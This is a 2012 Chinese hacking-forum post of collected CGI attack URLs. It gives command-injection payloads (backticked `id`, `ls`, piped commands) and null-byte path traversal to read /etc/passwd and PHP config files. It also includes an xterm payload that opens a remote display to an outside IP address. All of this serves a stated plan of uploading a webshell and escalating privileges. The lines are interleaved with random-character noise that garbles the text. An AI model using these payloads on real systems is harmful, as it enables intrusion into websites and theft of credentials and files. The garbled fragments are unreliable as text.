找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2707|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
# C- X; P$ R) E. dcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  " Q4 I; z2 b3 O
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  
. k* k. I3 ?  N* p' c注“  
7 q- f- u& J/ j+ R5 Q% zperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
0 X' c9 x4 z0 |% e以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
/ k4 d* t; _$ U+ Z, D$ p9 M& V" f, Q' H& c: O
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  4 k$ ?. L$ d! s9 _- z
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  7 `2 |5 s- u/ N8 ]
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  ; ~; b0 l% H0 m: t9 v0 e; j5 X
http://target.com/cgi-bin/home/news/sub.pl?`id`  
/ o4 z+ N: j3 a- @! F& b$ W9 \http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
# D  p4 P' |1 e& x0 Rhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
/ e3 h1 \7 D8 T$ M) }- i  h  O" B# K) A* V/ _; A
http://target.com/test.pl;ls|  
4 q  Z7 X4 ?* j) c/ R2 Zhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  ) w- b- r5 R  f3 R3 j
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
4 {( P# N& [3 E) _3 s7 g- hhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  / n8 H# ~7 r- S/ y' ?& m5 |, ^
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  % f1 M( B/ ]. F2 y) G
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
* X0 k( }! w3 G* e2 X$ V' P$ U
  R& c, M! t; D* t( E4 [' S, uhttp://target.com/test.pl?&........ /../../etc/passwd  / K$ ~3 t0 \' |$ t7 F9 Y( w

& D5 M3 u: i  e' i- D- `  Qhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  & u) u6 ~9 b" T
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
" j+ S( {: U1 S0 ohttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  * q9 _* g" `$ e: e

9 s1 D* j) J- f' Ehttp://www.target.org/show.php?f ... /include/config.php 查看php代码  - U+ W' j. }. [1 p  Q) W
http://www.target.org/show.php?f ... ng/admin/global.php  
% w/ y1 X' v1 y! k. D. `; \
. y4 V7 T7 T* ~emm和ps的一句话5 R( M) c1 I. |' l7 M: `+ z+ n. f; X

: p2 Y0 H5 A- a) @2 s; phttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
5 S/ n- q$ J3 @% j  B& ?
/ e! T% @$ A7 n$ ~>bbb%20|  ; t8 `# J0 b; O- x* N) C- G

/ L, O  P% R8 m& Whttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
4 T5 k- D- u1 v2 A4 ^# i$ X4 X8 a
6 I2 o( Z+ ^- z( {' S& zhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
; w9 ]* L9 G( I5 h" Ghttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  5 r  N" f  g3 Q  a$ W
" m. P& `+ E3 e& k; V$ e
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  + _. z! B1 L  Z  M+ i, P0 k
http://target.com/index.html#cmd.exe  ; K7 U/ |# |  U% A  l
http://target.com/index.html?dummyparam=xp_cmdshell  
1 j4 W6 e; H, Y7 p6 p! d# Elynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
- f) f3 {+ K5 ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表